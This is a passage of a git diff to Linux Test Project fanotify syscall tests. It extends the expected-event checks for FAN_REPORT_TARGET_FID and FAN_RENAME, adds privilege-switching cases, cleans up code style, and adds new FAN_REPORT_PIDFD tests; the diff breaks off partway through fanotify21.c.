+	if (fan_report_target_fid_unsupported && report_target_fid) {
+		FANOTIFY_INIT_FLAGS_ERR_MSG(FAN_REPORT_TARGET_FID,
+					    fan_report_target_fid_unsupported);
+		return;
+	}
+
 	fd_notify = SAFE_FANOTIFY_INIT(group->flag, 0);
 
 	/*
@@ -181,14 +301,29 @@
 
 	/* Save the subdir fid */
 	fanotify_save_fid(dname1, &dir_fid);
+	/* With FAN_REPORT_TARGET_FID, report subdir fid also for dirent events */
+	if (report_target_fid)
+		subdir_fid = &dir_fid;
 
 	if (tc->sub_mask)
 		SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_ADD | sub_mark->flag,
 				   tc->sub_mask, AT_FDCWD, dname1);
+	/*
+	 * ignore FAN_RENAME to/from tmpdir, so we won't get the FAN_RENAME events
+	 * when subdir is moved via tmpdir.
+	 * FAN_MOVE is also set in ignored mark of tmpdir, but it will have no effect
+	 * and the MOVED_FROM/TO events will still be reported.
+	 */
+	if (tc->tmpdir_ignored_mask)
+		SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_ADD |
+				   FAN_MARK_IGNORED_MASK |
+				   FAN_MARK_IGNORED_SURV_MODIFY,
+				   tc->tmpdir_ignored_mask, AT_FDCWD, TEMP_DIR);
 
+	memset(event_set, 0, sizeof(event_set));
 	event_set[tst_count].mask = FAN_CREATE | FAN_ONDIR;
 	event_set[tst_count].fid = &root_fid;
-	event_set[tst_count].child_fid = NULL;
+	event_set[tst_count].child_fid = subdir_fid;
 	strcpy(event_set[tst_count].name, DIR_NAME1);
 	tst_count++;
 
@@ -197,6 +332,9 @@
 
 	/* Save the file fid */
 	fanotify_save_fid(fname1, &file_fid);
+	/* With FAN_REPORT_TARGET_FID, report child fid also for dirent events */
+	if (report_target_fid)
+		child_fid = &file_fid;
 
 	SAFE_WRITE(1, fd, "1", 1);
 	SAFE_RENAME(fname1, fname2);
@@ -214,7 +352,7 @@
 	 */
 	event_set[tst_count].mask = FAN_CREATE | FAN_MOVED_FROM;
 	event_set[tst_count].fid = &dir_fid;
-	event_set[tst_count].child_fid = NULL;
+	event_set[tst_count].child_fid = child_fid;
 	strcpy(event_set[tst_count].name, FILE_NAME1);
 	tst_count++;
 	/*
@@ -224,24 +362,45 @@
 	 * FAN_REPORT_NAME is not set, then FAN_CREATE above is merged with
 	 * FAN_DELETE below and FAN_OPEN will be merged with FAN_CLOSE.
 	 */
-	if (group->flag & FAN_REPORT_NAME) {
+	if (report_name) {
 		event_set[tst_count].mask = FAN_OPEN;
 		event_set[tst_count].fid = &dir_fid;
 		event_set[tst_count].child_fid = &file_fid;
 		strcpy(event_set[tst_count].name, FILE_NAME1);
 		tst_count++;
 	}
+	/*
+	 * FAN_RENAME event is independent of MOVED_FROM/MOVED_TO and not merged
+	 * with any other event because it has different info records.
+	 */
+	if (report_rename) {
+		event_set[tst_count].mask = FAN_RENAME;
+		event_set[tst_count].fid = &dir_fid;
+		event_set[tst_count].child_fid = child_fid;
+		strcpy(event_set[tst_count].name, FILE_NAME1);
+		strcpy(event_set[tst_count].name2, FILE_NAME2);
+		event_set[tst_count].old_name = event_set[tst_count].name;
+		event_set[tst_count].new_name = event_set[tst_count].name2;
+		tst_count++;
+	}
 
 	event_set[tst_count].mask = FAN_DELETE | FAN_MOVED_TO;
+	/*
+	 * With FAN_REPORT_TARGET_FID, close of FILE_NAME2 is merged with
+	 * moved_to and delete events, because they all have parent and
+	 * child fid records.
+	 */
+	if (report_target_fid)
+		event_set[tst_count].mask |= FAN_CLOSE_WRITE;
 	event_set[tst_count].fid = &dir_fid;
-	event_set[tst_count].child_fid = NULL;
+	event_set[tst_count].child_fid = child_fid;
 	strcpy(event_set[tst_count].name, FILE_NAME2);
 	tst_count++;
 	/*
 	 * When not reporting name, open of FILE_NAME1 is merged
 	 * with close of FILE_NAME2.
 	 */
-	if (!(group->flag & FAN_REPORT_NAME)) {
+	if (!report_name) {
 		event_set[tst_count].mask = FAN_OPEN | FAN_CLOSE_WRITE;
 		event_set[tst_count].fid = &dir_fid;
 		event_set[tst_count].child_fid = &file_fid;
@@ -253,7 +412,7 @@
 	 * Filesystem watch gets self event w/o name info if FAN_REPORT_FID
 	 * is set.
 	 */
-	if (mark->flag == FAN_MARK_FILESYSTEM && (group->flag & FAN_REPORT_FID)) {
+	if (fs_mark && (group->flag & FAN_REPORT_FID)) {
 		event_set[tst_count].mask = FAN_DELETE_SELF | FAN_MOVE_SELF;
 		event_set[tst_count].fid = &file_fid;
 		event_set[tst_count].child_fid = NULL;
@@ -261,11 +420,10 @@
 		tst_count++;
 	}
 	/*
-	 * When reporting name, close of FILE_NAME2 is not merged with
-	 * open of FILE_NAME1 and it is received after the merged self
-	 * events.
+	 * Without FAN_REPORT_TARGET_FID, close of FILE_NAME2 is not merged with
+	 * open of FILE_NAME1 and it is received after the merged self events.
 	 */
-	if (group->flag & FAN_REPORT_NAME) {
+	if (report_name && !report_target_fid) {
 		event_set[tst_count].mask = FAN_CLOSE_WRITE;
 		event_set[tst_count].fid = &dir_fid;
 		event_set[tst_count].child_fid = &file_fid;
@@ -297,20 +455,62 @@
 	strcpy(event_set[tst_count].name, ".");
 	tst_count++;
 
-	SAFE_RENAME(dname1, dname2);
+	/*
+	 * If only root dir and subdir are watched, a rename via an unwatched tmpdir
+	 * will observe the same MOVED_FROM/MOVED_TO events as a direct rename,
+	 * but will observe 2 FAN_RENAME events with 1 info dir+name record each
+	 * instead of 1 FAN_RENAME event with 2 dir+name info records.
+	 *
+	 * If tmpdir is ignoring FAN_RENAME, we will get the MOVED_FROM/MOVED_TO
+	 * events and will not get the FAN_RENAME event for rename via tmpdir.
+	 */
+	if (!fs_mark || rename_ignored) {
+		SAFE_RENAME(dname1, tmpdir);
+		SAFE_RENAME(tmpdir, dname2);
+	} else {
+		SAFE_RENAME(dname1, dname2);
+	}
 	SAFE_RMDIR(dname2);
 
 	/* Read more events on dirs */
 	len += SAFE_READ(0, fd_notify, event_buf + len, EVENT_BUF_LEN - len);
 
+	/*
+	 * FAN_RENAME event is independent of MOVED_FROM/MOVED_TO and not merged
+	 * with any other event because it has different info records.
+	 * When renamed via an unwatched tmpdir, the 1st FAN_RENAME event has the
+	 * info record of root_fid+DIR_NAME1 and the 2nd FAN_RENAME event has the
+	 * info record of root_fid+DIR_NAME2.
+	 * If tmpdir is ignoring FAN_RENAME, we get no FAN_RENAME events at all.
+	 */
+	if (report_rename && !rename_ignored) {
+		event_set[tst_count].mask = FAN_RENAME | FAN_ONDIR;
+		event_set[tst_count].fid = &root_fid;
+		event_set[tst_count].child_fid = subdir_fid;
+		strcpy(event_set[tst_count].name, DIR_NAME1);
+		event_set[tst_count].old_name = event_set[tst_count].name;
+		if (fs_mark) {
+			strcpy(event_set[tst_count].name2, DIR_NAME2);
+			event_set[tst_count].new_name = event_set[tst_count].name2;
+		}
+		tst_count++;
+	}
 	event_set[tst_count].mask = FAN_MOVED_FROM | FAN_ONDIR;
 	event_set[tst_count].fid = &root_fid;
-	event_set[tst_count].child_fid = NULL;
+	event_set[tst_count].child_fid = subdir_fid;
 	strcpy(event_set[tst_count].name, DIR_NAME1);
 	tst_count++;
+	if (report_rename && !fs_mark && !rename_ignored) {
+		event_set[tst_count].mask = FAN_RENAME | FAN_ONDIR;
+		event_set[tst_count].fid = &root_fid;
+		event_set[tst_count].child_fid = subdir_fid;
+		strcpy(event_set[tst_count].name, DIR_NAME2);
+		event_set[tst_count].new_name = event_set[tst_count].name;
+		tst_count++;
+	}
 	event_set[tst_count].mask = FAN_DELETE | FAN_MOVED_TO | FAN_ONDIR;
 	event_set[tst_count].fid = &root_fid;
-	event_set[tst_count].child_fid = NULL;
+	event_set[tst_count].child_fid = subdir_fid;
 	strcpy(event_set[tst_count].name, DIR_NAME2);
 	tst_count++;
 	/* Expect no more events */
@@ -355,10 +555,18 @@
 		if (!(group->flag & FAN_REPORT_FID))
 			expected_child_fid = NULL;
 
-		if (!(group->flag & FAN_REPORT_NAME))
+		if (!report_name)
 			expected->name[0] = 0;
 
-		if (expected->name[0]) {
+		if (expected->mask & FAN_RENAME) {
+			/* If old name is not reported, first record is new name */
+			info_type = expected->old_name ?
+				FAN_EVENT_INFO_TYPE_OLD_DFID_NAME :
+				FAN_EVENT_INFO_TYPE_NEW_DFID_NAME;
+			/* The 2nd fid is same as 1st becaue we rename in same parent */
+			if (expected->name2[0])
+				expected_child_fid = expected_fid;
+		} else if (expected->name[0]) {
 			info_type = FAN_EVENT_INFO_TYPE_DFID_NAME;
 		} else if (expected->mask & FAN_ONDIR) {
 			info_type = FAN_EVENT_INFO_TYPE_DFID;
@@ -386,7 +594,7 @@
 				"pid=%u fd=%d name='%s' "
 				"len=%d info_type=%d info_len=%d fh_len=%d",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid, event->fd, filename,
+				(unsigned int)event->pid, event->fd, filename,
 				event->event_len, event_fid->hdr.info_type,
 				event_fid->hdr.len, fhlen);
 		} else if (!fhlen || namelen < 0) {
@@ -394,7 +602,7 @@
 				"got event without fid: mask=%llx pid=%u fd=%d, "
 				"len=%d info_type=%d info_len=%d fh_len=%d",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid, event->fd,
+				(unsigned int)event->pid, event->fd,
 				event->event_len, event_fid->hdr.info_type,
 				event_fid->hdr.len, fhlen);
 		} else if (!mask_match) {
@@ -403,7 +611,7 @@
 				"pid=%u fd=%d name='%s' "
 				"len=%d info_type=%d info_len=%d fh_len=%d",
 				(unsigned long long)event->mask, expected->mask,
-				(unsigned)event->pid, event->fd, filename,
+				(unsigned int)event->pid, event->fd, filename,
 				event->event_len, event_fid->hdr.info_type,
 				event_fid->hdr.len, fhlen);
 		} else if (info_type != event_fid->hdr.info_type) {
@@ -411,16 +619,16 @@
 				"got event: mask=%llx pid=%u fd=%d, "
 				"len=%d info_type=%d expected(%d) info_len=%d fh_len=%d",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid, event->fd,
+				(unsigned int)event->pid, event->fd,
 				event->event_len, event_fid->hdr.info_type,
 				info_type, event_fid->hdr.len, fhlen);
 		} else if (fhlen != expected_fid->handle.handle_bytes) {
 			tst_res(TFAIL,
 				"got event: mask=%llx pid=%u fd=%d name='%s' "
-				"len=%d info_type=%d info_len=%d fh_len=%d expected(%d)"
+				"len=%d info_type=%d info_len=%d fh_len=%d expected(%d) "
 				"fh_type=%d",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid, event->fd, filename,
+				(unsigned int)event->pid, event->fd, filename,
 				event->event_len, info_type,
 				event_fid->hdr.len, fhlen,
 				expected_fid->handle.handle_bytes,
@@ -432,7 +640,7 @@
 				"len=%d info_type=%d info_len=%d fh_len=%d "
 				"fh_type=%d expected(%x)",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid, event->fd, filename,
+				(unsigned int)event->pid, event->fd, filename,
 				event->event_len, info_type,
 				event_fid->hdr.len, fhlen,
 				file_handle->handle_type,
@@ -444,7 +652,7 @@
 				"len=%d info_type=%d info_len=%d fh_len=%d "
 				"fh_type=%d unexpected file handle (%x...)",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid, event->fd, filename,
+				(unsigned int)event->pid, event->fd, filename,
 				event->event_len, info_type,
 				event_fid->hdr.len, fhlen,
 				file_handle->handle_type,
@@ -456,7 +664,7 @@
 				"len=%d info_type=%d info_len=%d fh_len=%d "
 				"fsid=%x.%x (expected %x.%x)",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid, event->fd, filename,
+				(unsigned int)event->pid, event->fd, filename,
 				event->event_len, info_type,
 				event_fid->hdr.len, fhlen,
 				FSID_VAL_MEMBER(event_fid->fsid, 0),
@@ -469,7 +677,7 @@
 				"pid=%u fd=%d name='%s' expected('%s') "
 				"len=%d info_type=%d info_len=%d fh_len=%d",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid, event->fd,
+				(unsigned int)event->pid, event->fd,
 				filename, expected->name,
 				event->event_len, event_fid->hdr.info_type,
 				event_fid->hdr.len, fhlen);
@@ -479,8 +687,8 @@
 				"(expected %u) fd=%d name='%s' "
 				"len=%d info_type=%d info_len=%d fh_len=%d",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid,
-				(unsigned)getpid(),
+				(unsigned int)event->pid,
+				(unsigned int)getpid(),
 				event->fd, filename,
 				event->event_len, event_fid->hdr.info_type,
 				event_fid->hdr.len, fhlen);
@@ -490,7 +698,7 @@
 				"pid=%u fd=%d name='%s' num_info=%d (expected %d) "
 				"len=%d info_type=%d info_len=%d fh_len=%d",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid, event->fd,
+				(unsigned int)event->pid, event->fd,
 				filename, 1 + !!child_fid, 1 + !!expected_child_fid,
 				event->event_len, event_fid->hdr.info_type,
 				event_fid->hdr.len, fhlen);
@@ -505,6 +713,16 @@
 			expected_fid = expected->child_fid;
 			info_id = 1;
 			info_type = FAN_EVENT_INFO_TYPE_FID;
+			/*
+			 * With FAN_RENAME event, expect a second record of
+			 * type NEW_DFID_NAME, which in our case
+			 * has the same fid as the source dir in 1st record.
+			 * TODO: check the 2nd name and the 3rd child fid record.
+			 */
+			if (event->mask & FAN_RENAME && expected->name2[0]) {
+				info_type = FAN_EVENT_INFO_TYPE_NEW_DFID_NAME;
+				expected_fid = expected->fid;
+			}
 			file_handle = (struct file_handle *)event_fid->handle;
 			fhlen = file_handle->handle_bytes;
 			child_fid = NULL;
@@ -515,7 +733,7 @@
 				"got event #%d: mask=%llx pid=%u fd=%d name='%s' "
 				"len=%d; info #%d: info_type=%d info_len=%d fh_len=%d",
 				test_num, (unsigned long long)event->mask,
-				(unsigned)event->pid, event->fd, filename,
+				(unsigned int)event->pid, event->fd, filename,
 				event->event_len, info_id, event_fid->hdr.info_type,
 				event_fid->hdr.len, fhlen);
 		}
@@ -545,9 +763,15 @@
 static void setup(void)
 {
 	REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_ON_FS(FAN_REPORT_DIR_FID, MOUNT_PATH);
+	fan_report_target_fid_unsupported =
+		fanotify_init_flags_supported_on_fs(FAN_REPORT_DFID_NAME_TARGET, MOUNT_PATH);
+	rename_events_unsupported =
+		fanotify_events_supported_by_kernel(FAN_RENAME, FAN_REPORT_DFID_NAME, 0);
 
+	SAFE_MKDIR(TEMP_DIR, 0755);
 	sprintf(dname1, "%s/%s", MOUNT_PATH, DIR_NAME1);
 	sprintf(dname2, "%s/%s", MOUNT_PATH, DIR_NAME2);
+	sprintf(tmpdir, "%s/%s", TEMP_DIR, DIR_NAME2);
 	sprintf(fname1, "%s/%s", dname1, FILE_NAME1);
 	sprintf(fname2, "%s/%s", dname1, FILE_NAME2);
 }
diff --git a/testcases/kernel/syscalls/fanotify/fanotify17.c b/testcases/kernel/syscalls/fanotify/fanotify17.c
index 35beb53..7d74b25 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify17.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify17.c
@@ -159,8 +159,7 @@
 		 * uid_map file should exist since Linux 3.8 because
 		 * it is available on Linux 3.5
 		 */
-		if (access(UID_MAP, F_OK))
-			tst_brk(TBROK, "file %s didn't exist", UID_MAP);
+		SAFE_ACCESS(UID_MAP, F_OK);
 
 		SAFE_FILE_PRINTF(UID_MAP, "%d %d %d", 0, 0, 1);
 	}
diff --git a/testcases/kernel/syscalls/fanotify/fanotify18.c b/testcases/kernel/syscalls/fanotify/fanotify18.c
index 8a7eebb..07b064b 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify18.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify18.c
@@ -115,14 +115,13 @@
 		    ((tc->init_flags & DISALLOWED_INIT_FLAGS) ||
 		     (tc->init_flags & FANOTIFY_REQUIRED_USER_INIT_FLAGS) !=
 		      FANOTIFY_REQUIRED_USER_INIT_FLAGS)) {
-			tst_res(TPASS,
-				"Received result EPERM, as expected");
+			tst_res(TPASS, "Received result EPERM, as expected");
 			return;
-		} else {
-			tst_brk(TBROK | TERRNO,
-				"fanotify_init(0x%lx, O_RDONLY) failed",
-				tc->init_flags);
 		}
+
+		tst_brk(TBROK | TERRNO,
+			"fanotify_init(0x%lx, O_RDONLY) failed",
+			tc->init_flags);
 	}
 
 	/* Attempt to place mark on object */
@@ -136,7 +135,7 @@
 			(tc->mark_flags & DISALLOWED_MARK_FLAGS ||
 			 tc->mark_mask & FAN_ALL_PERM_EVENTS)) {
 			tst_res(TPASS, "Received result EPERM, as expected");
-			return;
+			goto out;
 		}
 
 		tst_brk(TBROK | TERRNO,
@@ -151,11 +150,15 @@
 	tst_res(TPASS,
 		"fanotify_init() and fanotify_mark() returned successfully, "
 		"as expected");
+
+out:
+	SAFE_CLOSE(fd_notify);
 }
 
 static void setup(void)
 {
 	int fd;
+	struct passwd *nobody;
 
 	SAFE_TOUCH(TEST_FILE, 0666, NULL);
 
@@ -166,7 +169,7 @@
 	if (geteuid() == 0) {
 		tst_res(TINFO,
 			"Running as privileged user, revoking permissions.");
-		struct passwd *nobody = SAFE_GETPWNAM("nobody");
+		nobody = SAFE_GETPWNAM("nobody");
 		SAFE_SETUID(nobody->pw_uid);
 	}
 
diff --git a/testcases/kernel/syscalls/fanotify/fanotify19.c b/testcases/kernel/syscalls/fanotify/fanotify19.c
index e4ac8a0..ec5b54b 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify19.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify19.c
@@ -29,7 +29,7 @@
 #include "fanotify.h"
 
 #define EVENT_MAX 1024
-#define EVENT_SIZE (sizeof (struct fanotify_event_metadata))
+#define EVENT_SIZE (sizeof(struct fanotify_event_metadata))
 #define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE)
 #define EVENT_SET_MAX 48
 
@@ -38,6 +38,7 @@
 #define MOUNT_PATH	"fs_mnt"
 #define TEST_FILE	MOUNT_PATH "/testfile"
 
+static uid_t euid;
 static int fd_notify;
 static char buf[BUF_SIZE];
 static struct fanotify_event_metadata event_buf[EVENT_BUF_LEN];
@@ -45,12 +46,14 @@
 static struct test_case_t {
 	const char *name;
 	unsigned int fork;
+	unsigned int elevate;
 	unsigned int event_count;
 	unsigned long long event_set[EVENT_SET_MAX];
 } test_cases[] = {
 	{
 		"unprivileged listener - events by self",
 		0,
+		0,
 		4,
 		{
 			FAN_OPEN,
@@ -62,6 +65,7 @@
 	{
 		"unprivileged lisneter - events by child",
 		1,
+		0,
 		4,
 		{
 			FAN_OPEN,
@@ -69,7 +73,31 @@
 			FAN_MODIFY,
 			FAN_CLOSE,
 		}
-	}
+	},
+	{
+		"unprivileged listener, privileged reader - events by self",
+		0,
+		1,
+		4,
+		{
+			FAN_OPEN,
+			FAN_ACCESS,
+			FAN_MODIFY,
+			FAN_CLOSE,
+		}
+	},
+	{
+		"unprivileged lisneter, privileged reader - events by child",
+		1,
+		1,
+		4,
+		{
+			FAN_OPEN,
+			FAN_ACCESS,
+			FAN_MODIFY,
+			FAN_CLOSE,
+		}
+	},
 };
 
 static void generate_events(void)
@@ -104,7 +132,7 @@
 
 	SAFE_WAITPID(child, &status, 0);
 
-	if (WIFEXITED(child) && WEXITSTATUS(child) != 0)
+	if (WIFEXITED(status) && WEXITSTATUS(status) != 0)
 		tst_brk(TBROK, "Child process terminated incorrectly. Aborting");
 }
 
@@ -115,9 +143,17 @@
 	unsigned int test_number = 0;
 	struct fanotify_event_metadata *event;
 	struct test_case_t *tc = &test_cases[n];
+	struct passwd *nobody;
 
 	tst_res(TINFO, "Test #%d %s", n, tc->name);
 
+	/* Relinquish privileged user */
+	if (euid == 0) {
+		tst_res(TINFO, "Running as privileged user, revoking");
+		nobody = SAFE_GETPWNAM("nobody");
+		SAFE_SETEUID(nobody->pw_uid);
+	}
+
 	/* Initialize fanotify */
 	fd_notify = fanotify_init(FANOTIFY_REQUIRED_USER_INIT_FLAGS, O_RDONLY);
 
@@ -126,10 +162,10 @@
 			tst_res(TCONF,
 				"unprivileged fanotify not supported by kernel?");
 			return;
-		} else {
-			tst_brk(TBROK | TERRNO,
-				"fanotify_init(FAN_CLASS_NOTIF, O_RDONLY) failed");
 		}
+
+		tst_brk(TBROK | TERRNO,
+			"fanotify_init(FAN_CLASS_NOTIF, O_RDONLY) failed");
 	}
 
 	/* Place mark on object */
@@ -149,6 +185,12 @@
 	else
 		generate_events();
 
+	/* Restore privileges */
+	if (euid == 0 && tc->elevate) {
+		tst_res(TINFO, "Restoring privileged user");
+		SAFE_SETEUID(0);
+	}
+
 	/* Read events from queue */
 	len = SAFE_READ(0, fd_notify, event_buf + len, EVENT_BUF_LEN - len);
 
@@ -161,7 +203,7 @@
 				"Received unexpected event mask: mask=%llx "
 				"pid=%u fd=%d",
 				(unsigned long long) event->mask,
-				(unsigned) event->pid,
+				(unsigned int) event->pid,
 				event->fd);
 		} else if ((!tc->fork && event->pid != pid) ||
 			   (tc->fork && event->pid != 0)) {
@@ -169,7 +211,7 @@
 				"Received unexpected pid in event: "
 				"mask=%llx pid=%u (expected %u) fd=%d",
 				(unsigned long long) event->mask,
-				(unsigned) event->pid,
+				(unsigned int) event->pid,
 				(tc->fork ? 0 : pid),
 				event->fd);
 		} else if (event->fd != FAN_NOFD) {
@@ -177,7 +219,7 @@
 				"Received unexpected file descriptor: "
 				"mask=%llx pid=%u fd=%d (expected %d)",
 				(unsigned long long) event->pid,
-				(unsigned) event->pid,
+				(unsigned int) event->pid,
 				event->fd,
 				FAN_NOFD);
 			SAFE_CLOSE(event->fd);
@@ -185,7 +227,7 @@
 			tst_res(TPASS,
 				"Received event: mask=%llx, pid=%u fd=%d",
 				(unsigned long long) event->mask,
-				(unsigned) event->pid,
+				(unsigned int) event->pid,
 				event->fd);
 		}
 
@@ -214,6 +256,8 @@
 			event = FAN_EVENT_NEXT(event, len);
 		}
 	}
+
+	SAFE_CLOSE(fd_notify);
 }
 
 static void setup(void)
@@ -224,13 +268,7 @@
 	/* Check for kernel fanotify support */
 	REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_ON_FS(FAN_REPORT_FID, TEST_FILE);
 
-	/* Relinquish privileged user */
-	if (geteuid() == 0) {
-		tst_res(TINFO,
-			"Running as privileged user, revoking.");
-		struct passwd *nobody = SAFE_GETPWNAM("nobody");
-		SAFE_SETUID(nobody->pw_uid);
-	}
+	euid = geteuid();
 }
 
 static void cleanup(void)
@@ -248,6 +286,10 @@
 	.needs_root = 1,
 	.mount_device = 1,
 	.mntpoint = MOUNT_PATH,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "a8b98c808eab"},
+		{}
+	}
 };
 
 #else
diff --git a/testcases/kernel/syscalls/fanotify/fanotify20.c b/testcases/kernel/syscalls/fanotify/fanotify20.c
new file mode 100644
index 0000000..71310fb
--- /dev/null
+++ b/testcases/kernel/syscalls/fanotify/fanotify20.c
@@ -0,0 +1,88 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Google. All Rights Reserved.
+ * Copyright (c) 2022 Petr Vorel <pvorel@suse.cz>
+ *
+ * Started by Matthew Bobrowski <repnop@google.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * This source file contains a test case which ensures that the fanotify API
+ * returns an expected error code when provided an invalid initialization flag
+ * alongside FAN_REPORT_PIDFD. Additionally, it checks that the operability with
+ * existing FAN_REPORT_* flags is maintained and functioning as intended.
+ *
+ * NOTE: FAN_REPORT_PIDFD support was added in v5.15-rc1 in af579beb666a
+ * ("fanotify: add pidfd support to the fanotify API").
+ */
+
+#define _GNU_SOURCE
+#include "tst_test.h"
+#include <errno.h>
+
+#ifdef HAVE_SYS_FANOTIFY_H
+#include "fanotify.h"
+
+#define MOUNT_PATH	"fs_mnt"
+#define FLAGS_DESC(x) .flags = x, .desc = #x
+
+static int fd;
+
+static struct test_case_t {
+	unsigned int flags;
+	char *desc;
+	int exp_errno;
+} test_cases[] = {
+	{
+		FLAGS_DESC(FAN_REPORT_PIDFD | FAN_REPORT_TID),
+		.exp_errno = EINVAL,
+	},
+	{
+		FLAGS_DESC(FAN_REPORT_PIDFD | FAN_REPORT_FID | FAN_REPORT_DFID_NAME),
+	},
+};
+
+static void do_setup(void)
+{
+	/*
+	 * An explicit check for FAN_REPORT_PIDFD is performed early on in the
+	 * test initialization as it's a prerequisite for all test cases.
+	 */
+	REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_BY_KERNEL(FAN_REPORT_PIDFD);
+}
+
+static void do_test(unsigned int i)
+{
+	struct test_case_t *tc = &test_cases[i];
+
+	tst_res(TINFO, "Test %s on %s", tc->exp_errno ? "fail" : "pass",
+		tc->desc);
+
+	TST_EXP_FD_OR_FAIL(fd = fanotify_init(tc->flags, O_RDONLY),
+			   tc->exp_errno);
+
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static void do_cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.setup = do_setup,
+	.test = do_test,
+	.tcnt = ARRAY_SIZE(test_cases),
+	.cleanup = do_cleanup,
+	.all_filesystems = 1,
+	.needs_root = 1,
+	.mntpoint = MOUNT_PATH,
+};
+
+#else
+	TST_TEST_TCONF("system doesn't have required fanotify support");
+#endif /* HAVE_SYS_FANOTIFY_H */
diff --git a/testcases/kernel/syscalls/fanotify/fanotify21.c b/testcases/kernel/syscalls/fanotify/fanotify21.c
new file mode 100644
index 0000000..2b7202b
--- /dev/null
+++ b/testcases/kernel/syscalls/fanotify/fanotify21.c
@@ -0,0 +1,305 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Google. All Rights Reserved.
+ *
+ * Started by Matthew Bobrowski <repnop@google.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * A test which verifies whether the returned struct
+ * fanotify_event_info_pidfd in FAN_REPORT_PIDFD mode contains the
+ * expected set of information.
+ *
+ * NOTE: FAN_REPORT_PIDFD support was added in v5.15-rc1 in af579beb666a
+ * ("fanotify: add pidfd support to the fanotify API").
+ */
+
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <ctype.h>
+#include <stdlib.h>
+#include <string.h>
+#include "tst_test.h"
+#include "tst_safe_stdio.h"
+#include "tst_safe_macros.h"
+#include "lapi/pidfd.h"
+
+#ifdef HAVE_SYS_FANOTIFY_H
+#include "fanotify.h"
+
+#define BUF_SZ		4096
+#define MOUNT_PATH	"fs_mnt"
+#define TEST_FILE	MOUNT_PATH "/testfile"
+
+static struct pidfd_fdinfo_t {
+	int pos;
+	int flags;
+	int mnt_id;
+	int pid;
+	int ns_pid;
+};
+
+static struct test_case_t {
+	char *name;
+	int fork;
+	int want_pidfd_err;
+} test_cases[] = {
+	{
+		"return a valid pidfd for event created by self",
+		0,
+		0,
+	},
+	{
+		"return invalid pidfd for event created by terminated child",
+		1,
+		FAN_NOPIDFD,
+	},
+};
+
+static int fanotify_fd;
+static char event_buf[BUF_SZ];
+static struct pidfd_fdinfo_t *self_pidfd_fdinfo;
+
+static struct pidfd_fdinfo_t *read_pidfd_fdinfo(int pidfd)
+{
+	char *fdinfo_path;
+	struct pidfd_fdinfo_t *pidfd_fdinfo;
+
+	pidfd_fdinfo = SAFE_MALLOC(sizeof(struct pidfd_fdinfo_t));
+
+	SAFE_ASPRINTF(&fdinfo_path, "/proc/self/fdinfo/%d", pidfd);
+	SAFE_FILE_LINES_SCANF(fdinfo_path, "pos: %d", &pidfd_fdinfo->pos);
+	SAFE_FILE_LINES_SCANF(fdinfo_path, "flags: %d", &pidfd_fdinfo->flags);
+	SAFE_FILE_LINES_SCANF(fdinfo_path, "mnt_id: %d", &pidfd_fdinfo->mnt_id);
+	SAFE_FILE_LINES_SCANF(fdinfo_path, "Pid: %d", &pidfd_fdinfo->pid);
+	SAFE_FILE_LINES_SCANF(fdinfo_path, "NSpid: %d", &pidfd_fdinfo->ns_pid);
+
+	free(fdinfo_path);
+
+	return pidfd_fdinfo;
+}
+
+static void generate_event(void)
+{
+	int fd;
+
+	/* Generate a single FAN_OPEN event on the watched object. */
+	fd = SAFE_OPEN(TEST_FILE, O_RDONLY);
+	SAFE_CLOSE(fd);
+}
+
+static void do_fork(void)
+{
+	int status;
+	pid_t child;
+
+	child = SAFE_FORK();
+	if (child == 0) {
+		SAFE_CLOSE(fanotify_fd);
+		generate_event();
+		exit(EXIT_SUCCESS);
+	}
+
+	SAFE_WAITPID(child, &status, 0);
+	if (WIFEXITED(status) && WEXITSTATUS(status) != 0)
+		tst_brk(TBROK,
+			"child process terminated incorrectly");
+}
+
+static void do_setup(void)
+{
+	int pidfd;
+
+	SAFE_TOUCH(TEST_FILE, 0666, NULL);
+
+	/*
+	 * An explicit check for FAN_REPORT_PIDFD is performed early
+	 * on in the test initialization as it's a prerequisite for
+	 * all test cases.
+	 */
+	REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_BY_KERNEL(FAN_REPORT_PIDFD);
+
+	fanotify_fd = SAFE_FANOTIFY_INIT(FAN_REPORT_PIDFD, O_RDONLY);
+	SAFE_FANOTIFY_MARK(fanotify_fd, FAN_MARK_ADD, FAN_OPEN, AT_FDCWD,
+			   TEST_FILE);
+
+	pidfd = SAFE_PIDFD_OPEN(getpid(), 0);
+
+	self_pidfd_fdinfo = read_pidfd_fdinfo(pidfd);
+	if (self_pidfd_fdinfo == NULL) {
+		tst_brk(TBROK,
+			"pidfd=%d, failed to read pidfd fdinfo",
+			pidfd);
+	}
+}
+
+static void do_test(unsigned int num)
+{
+	int i = 0, len;
+	struct test_case_t *tc = &test_cases[num];
+
+	tst_res(TINFO, "Test #%d: %s", num, tc->name);
+
+	/*
+	 * Generate the event in either self or a child process. Event
